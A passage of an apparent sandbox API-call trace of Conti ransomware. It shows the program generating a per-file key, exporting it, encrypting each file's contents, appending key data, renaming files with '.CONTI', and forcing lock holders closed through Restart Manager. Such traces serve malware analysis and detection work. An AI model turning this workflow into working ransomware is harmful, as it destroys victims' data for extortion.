	[0117.220] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.220] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.221] GetProcessHeap () returned 0x1720000
	[0117.221] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.221] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0117.221] GetProcessHeap () returned 0x1720000
	[0117.221] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ce450 | out: hHeap=0x1720000) returned 1
	[0117.221] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0117.221] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x65d1770 | out: phKey=0x65d1770*=0x6b7f5b8) returned 1
	[0117.221] CryptExportKey (in: hKey=0x6b7f5b8, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d1774, pdwDataLen=0x34ffaac | out: pbData=0x65d1774*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0117.222] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.222] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0117.223] GetLastError () returned 0x0
	[0117.223] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=4096) returned 1
	[0117.223] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.223] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.223] SetEndOfFile (hFile=0x30c) returned 1
	[0117.223] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.223] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.223] WriteFile (in: hFile=0x30c, lpBuffer=0x65d1774*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x65d1774*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0117.224] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.225] ReadFile (in: hFile=0x30c, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x1000, lpOverlapped=0x0) returned 1
	[0117.226] CryptEncrypt (in: hKey=0x6b7f5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x1000, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x1010) returned 1
	[0117.226] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.226] WriteFile (in: hFile=0x30c, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x1010, lpOverlapped=0x0) returned 1
	[0117.226] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.226] WriteFile (in: hFile=0x30c, lpBuffer=0x65d1768*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x65d1768*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0117.226] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.226] CloseHandle (hObject=0x30c) returned 1
	[0117.226] GetProcessHeap () returned 0x1720000
	[0117.226] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.230] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.230] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.230] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.232] GetProcessHeap () returned 0x1720000
	[0117.232] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.232] CryptDestroyKey (hKey=0x6b7f5b8) returned 1
	[0117.232] GetProcessHeap () returned 0x1720000
	[0117.232] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cd750 | out: hHeap=0x1720000) returned 1
	[0117.232] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0117.232] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x65cee60 | out: phKey=0x65cee60*=0x6b7f0f8) returned 1
	[0117.232] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cee64, pdwDataLen=0x34ffaac | out: pbData=0x65cee64*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0117.234] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.234] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0117.234] GetLastError () returned 0x0
	[0117.234] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=8192) returned 1
	[0119.009] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0119.009] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.009] SetEndOfFile (hFile=0x30c) returned 1
	[0119.010] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0119.010] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.010] WriteFile (in: hFile=0x30c, lpBuffer=0x65cee64*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x65cee64*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0119.011] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0119.011] ReadFile (in: hFile=0x30c, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x2000, lpOverlapped=0x0) returned 1
	[0119.011] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2000, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2010) returned 1
	[0119.011] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.012] WriteFile (in: hFile=0x30c, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x2010, lpOverlapped=0x0) returned 1
	[0119.012] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.012] WriteFile (in: hFile=0x30c, lpBuffer=0x65cee58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x65cee58*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0119.012] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0119.012] CloseHandle (hObject=0x30c) returned 1
	[0119.012] GetProcessHeap () returned 0x1720000
	[0119.012] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.557] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0120.557] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0120.557] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0120.558] GetProcessHeap () returned 0x1720000
	[0120.558] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.558] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0120.558] GetProcessHeap () returned 0x1720000
	[0120.558] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cd850 | out: hHeap=0x1720000) returned 1
	[0120.558] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0122.353] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b51718 | out: phKey=0x6b51718*=0x6b7ecf8) returned 1
	[0122.357] CryptExportKey (in: hKey=0x6b7ecf8, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5171c, pdwDataLen=0x34ffaac | out: pbData=0x6b5171c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0122.375] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml")) returned 0x20
	[0122.391] CreateFileW (lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0122.391] GetLastError () returned 0x0
	[0122.391] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=1444) returned 1
	[0122.391] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5a4
	[0122.391] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.392] SetEndOfFile (hFile=0x3a4) returned 1
	[0122.392] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.392] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.392] WriteFile (in: hFile=0x3a4, lpBuffer=0x6b5171c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b5171c*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0122.393] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.393] ReadFile (in: hFile=0x3a4, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x5a4, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x5a4, lpOverlapped=0x0) returned 1
	[0122.393] CryptEncrypt (in: hKey=0x6b7ecf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x5a4, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x5b0) returned 1
	[0122.393] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.393] WriteFile (in: hFile=0x3a4, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x5b0, lpOverlapped=0x0) returned 1
	[0122.393] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.393] WriteFile (in: hFile=0x3a4, lpBuffer=0x6b51710*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b51710*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0122.393] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.393] CloseHandle (hObject=0x3a4) returned 1
	[0122.393] GetProcessHeap () returned 0x1720000
	[0122.393] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0122.393] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" | out: lpString1="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml") returned="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml"
	[0122.393] lstrcatW (in: lpString1="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.CONTI") returned="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.CONTI"
	[0122.393] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml"), lpNewFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.CONTI" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.conti")) returned 1
	[0122.394] GetProcessHeap () returned 0x1720000
	[0122.394] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0122.394] CryptDestroyKey (hKey=0x6b7ecf8) returned 1
	[0122.394] GetProcessHeap () returned 0x1720000
	[0122.394] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cb768 | out: hHeap=0x1720000) returned 1
	[0122.394] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0122.394] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b52710 | out: phKey=0x6b52710*=0x6b7ee78) returned 1
	[0122.394] CryptExportKey (in: hKey=0x6b7ee78, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52714, pdwDataLen=0x34ffaac | out: pbData=0x6b52714*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0122.395] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.001.etl")) returned 0x2000
	[0122.395] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.001.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0122.395] GetLastError () returned 0x20
	[0122.395] RmStartSession () returned 0x0
	[0122.399] RmRegisterResources () returned 0x0
	[0122.407] RmGetList () returned 0xea
	[0126.434] RmShutdown () returned 0x15e
	[0133.665] RmEndSession () returned 0x0
	[0133.670] CryptDestroyKey (hKey=0x6b7ee78) returned 1
	[0133.670] GetProcessHeap () returned 0x1720000
	[0133.670] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8bf0 | out: hHeap=0x1720000) returned 1
	[0133.670] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0133.670] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b479b0 | out: phKey=0x6b479b0*=0x17c8030) returned 1
	[0133.670] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b479b4, pdwDataLen=0x34ffaac | out: pbData=0x6b479b4*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0133.672] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml")) returned 0x20
	[0133.673] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.673] GetLastError () returned 0x5
	[0133.673] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0133.673] GetProcessHeap () returned 0x1720000
	[0133.673] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c41a8 | out: hHeap=0x1720000) returned 1
	[0133.673] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0133.673] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b48518 | out: phKey=0x6b48518*=0x17c84f0) returned 1
	[0133.673] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4851c, pdwDataLen=0x34ffaac | out: pbData=0x6b4851c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0133.674] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml")) returned 0x20
	[0133.674] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.674] GetLastError () returned 0x5
	[0133.674] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0133.674] GetProcessHeap () returned 0x1720000
	[0133.674] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c1b60 | out: hHeap=0x1720000) returned 1
	[0133.674] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0133.674] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b449c8 | out: phKey=0x6b449c8*=0x17c7f30) returned 1
	[0133.674] CryptExportKey (in: hKey=0x17c7f30, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b449cc, pdwDataLen=0x34ffaac | out: pbData=0x6b449cc*, pdwDataLen=0x34ffaac*=0x20c) returned 1
